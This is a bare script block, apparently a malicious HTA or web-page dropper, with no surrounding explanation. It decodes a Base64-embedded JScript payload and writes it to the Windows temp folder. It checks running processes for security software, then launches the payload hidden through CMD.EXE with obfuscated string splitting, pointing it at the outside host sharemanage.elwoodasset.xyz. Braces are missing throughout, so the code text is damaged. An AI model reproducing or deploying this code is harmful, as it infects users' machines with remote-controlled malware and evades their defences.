<script language="javascript">
var Base64 = {
// private property
_keyStr : "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
// public method for encoding
encode : function (input) {
var output = "";
var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
var i = 0;
input = Base64._utf8_encode(input);
while (i < input.length) {
chr1 = input.charCodeAt(i++);
chr2 = input.charCodeAt(i++);
chr3 = input.charCodeAt(i++);
enc1 = chr1 >> 2;
enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
enc4 = chr3 & 63;
if (isNaN(chr2)) {
enc3 = enc4 = 64;
} else if (isNaN(chr3)) {
enc4 = 64;
}
output = output +
this._keyStr.charAt(enc1) + this._keyStr.charAt(enc2) +
this._keyStr.charAt(enc3) + this._keyStr.charAt(enc4);
return output;
// public method for decoding
decode : function (input) {
var output = "";
var chr1, chr2, chr3;
var enc1, enc2, enc3, enc4;
var i = 0;
input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
while (i < input.length) {
enc1 = this._keyStr.indexOf(input.charAt(i++));
enc2 = this._keyStr.indexOf(input.charAt(i++));
enc3 = this._keyStr.indexOf(input.charAt(i++));
enc4 = this._keyStr.indexOf(input.charAt(i++));
chr1 = (enc1 << 2) | (enc2 >> 4);
chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
chr3 = ((enc3 & 3) << 6) | enc4;
output = output + String.fromCharCode(chr1);
if (enc3 != 64) {
output = output + String.fromCharCode(chr2);
}
if (enc4 != 64) {
output = output + String.fromCharCode(chr3);
}
output = Base64._utf8_decode(output);
return output;
// private method for UTF-8 encoding
_utf8_encode : function (string) {
string = string.replace(/\r\n/g,"\n");
var utftext = "";
for (var n = 0; n < string.length; n++) {
var c = string.charCodeAt(n);
if (c < 128) {
utftext += String.fromCharCode(c);
}
else if((c > 127) && (c < 2048)) {
utftext += String.fromCharCode((c >> 6) | 192);
utftext += String.fromCharCode((c & 63) | 128);
}
else {
utftext += String.fromCharCode((c >> 12) | 224);
utftext += String.fromCharCode(((c >> 6) & 63) | 128);
utftext += String.fromCharCode((c & 63) | 128);
}
return utftext;
// private method for UTF-8 decoding
_utf8_decode : function (utftext) {
var string = "";
var i = 0;
var c = c1 = c2 = 0;
while ( i < utftext.length ) {
c = utftext.charCodeAt(i);
if (c < 128) {
string += String.fromCharCode(c);
i++;
}
else if((c > 191) && (c < 224)) {
c2 = utftext.charCodeAt(i+1);
string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
i += 2;
}
else {
c2 = utftext.charCodeAt(i+1);
c3 = utftext.charCodeAt(i+2);
string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
i += 3;
}
return string;
var wish = new ActiveXObject("WScript.Shell");
var ln = "DQp2YXIgaG9zdG5vZGU9IiI7DQp2YXIgdF9wcm90byA9ICJodHRwIjsNCg0KaWYgKFdTY3JpcHQuYXJndW1lbnRzLmxlbmd0aCA+IDApIHsNCiAgICBob3N0bm9kZSA9IFdTY3JpcHQuYXJndW1lbnRzKDApOw0KfSBlbHNlIHsNCglXU2NyaXB0LlF1aXQoKTsNCn0NCg0KaWYgKGlzTmFOKGhvc3Rub2RlLnN1YnN0cmluZygwLDEpKSA9PSB0cnVlKSB7DQogICAgdF9wcm90byA9ICJodHRwcyI7DQp9DQoNCnZhciBzenVybCA9IHRfcHJvdG8gKyAiOi8vIiArIGhvc3Rub2RlOw0KDQp2YXIgc3pVSUQgPSAiIjsNCg0KdmFyIEJhc2U2NCA9IHsNCg0KICAgIC8vIHByaXZhdGUgcHJvcGVydHkNCiAgICBfa2V5U3RyIDogIkFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky89IiwNCiAgICANCiAgICAvLyBwdWJsaWMgbWV0aG9kIGZvciBlbmNvZGluZw0KICAgIGVuY29kZSA6IGZ1bmN0aW9uIChpbnB1dCkgew0KICAgICAgICB2YXIgb3V0cHV0ID0gIiI7DQogICAgICAgIHZhciBjaHIxLCBjaHIyLCBjaHIzLCBlbmMxLCBlbmMyLCBlbmMzLCBlbmM0Ow0KICAgICAgICB2YXIgaSA9IDA7DQogICAgDQogICAgICAgIGlucHV0ID0gQmFzZTY0Ll91dGY4X2VuY29kZShpbnB1dCk7DQogICAgDQogICAgICAgIHdoaWxlIChpIDwgaW5wdXQubGVuZ3RoKSB7DQogICAgDQogICAgICAgICAgICBjaHIxID0gaW5wdXQuY2hhckNvZGVBdChpKyspOw0KICAgICAgICAgICAgY2hyMiA9IGlucHV0Lm
var fob = new ActiveXObject("Scripting.FileSystemObject")
var pf = fob.GetSpecialFolder(2) + "\\stlhdnhb.js";
function getProc()
var objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\\\" + "." + "\\root\\cimv2");
var prclst = objWMIService.ExecQuery("Select * from Win32_Process");
var mainRes = "";
procEnum = new Enumerator(prclst);
for ( ; !procEnum.atEnd(); procEnum.moveNext())
var proc = procEnum.item();
if (proc.Name.indexOf("svchost") === -1 && proc.ProcessID !== 0 && proc.ProcessID !== 4)
mainRes = mainRes + "\n" + proc.ProcessID + "\t" + proc.SessionID + "\t";
if (!proc.CommandLine)
mainRes = mainRes + proc.Name.toLowerCase();
mainRes = mainRes + proc.CommandLine.toLowerCase();
return mainRes;
function WriteFile(pdata, szPath)
var fso = new ActiveXObject("Scripting.FileSystemObject");
var fh = fso.CreateTextFile(szPath, 2, true);
fh.WriteLine(pdata);
fh.Close();
var lns = Base64.decode(ln);
WriteFile(lns, pf);
var ex="ws";
pl = getProc();
if (pl.indexOf("kwsprot") !== -1 || pl.indexOf("npprot") !== -1)
ex = "cs";
var ln = "star" + "t /b " + ex + "cr" + "ipt \"" + pf + "\" " + "sharemanage.elwoodasset.xyz/";
wish.run("CM" + "D.E" + "XE " + "/c " + ln + " 1" + " & " + ln + " 2", 0, false);
window.close();
</script>